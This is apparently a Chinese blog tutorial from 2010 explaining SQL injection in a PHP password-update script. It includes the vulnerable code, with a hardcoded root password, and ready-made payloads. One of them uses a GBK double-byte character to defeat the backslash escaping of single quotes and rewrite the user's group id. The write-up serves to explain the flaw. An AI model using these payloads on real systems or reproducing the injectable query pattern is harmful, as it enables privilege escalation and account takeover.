php 拼接 单双引拼接,双字节编码绕PHP单引号转义又一例： SQL UPDATE注入

原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 http://www.redicecn.com/view-256.html 是一样的。

// by redice 2010.10.21

// 连接mysql数据库

$conn=0;

$conn = mysql_connect("localhost","root","redice2009");

if (!$conn)

{

die("不能打开数据库连接，错误: " . mysql_error());

}

// 选择数据库

mysql_select_db("test", $conn);

// 设置mysql数据库输出数据的字符集

mysql_query("set names 'gbk'");

// 修改密码过程

$newpass=$_REQUEST[p];

$sql = "update user set pass='$newpass' where name='redice'";

echo "执行的查询=".$sql."";

if(!mysql_query($sql,$conn))

{

echo mysql_error();

}

?>

(1)在gpc=off的情况下。

提交p=123',groupid='1  SQL语句变为：

update user set pass='123',groupid='1' where name='redice'

(2)在gpc=on的情况下。

利用GBK双字节编码，可以绕过单引号转义。

分析如下：

提交p=123%d5',groupid=1 where id=1%23

经浏览器url编码后为：

p=123%d5%27,groupid=1%20where%20id=1%23

再经PHP url解码后为：

p=1230xd50x27,groupid=10x20where0x20id=10x23

再经PHP转义后为(在0x27前插入0x5c)：

p=1230xd50x5c0x27,groupid=10x20where0x20id=10x23

由于服务端采用gbk编码连接数据库(set names 'gbk')，因此上述字节序列被MySQL作为GBK字符理解后即为：

p=123誠',groupid=1 where id=1#

PS：0xd50x5c 对应了汉字誠，从而吃掉了单引号，绕过转义

最终SQL语句变为：

update user set pass='123誠',groupid=1 where id=1#' where name='redice'

PS：%23解码后为#，用以注释之后的SQL语句，使之符合语法规范。

附测试程序：

File: Click to Download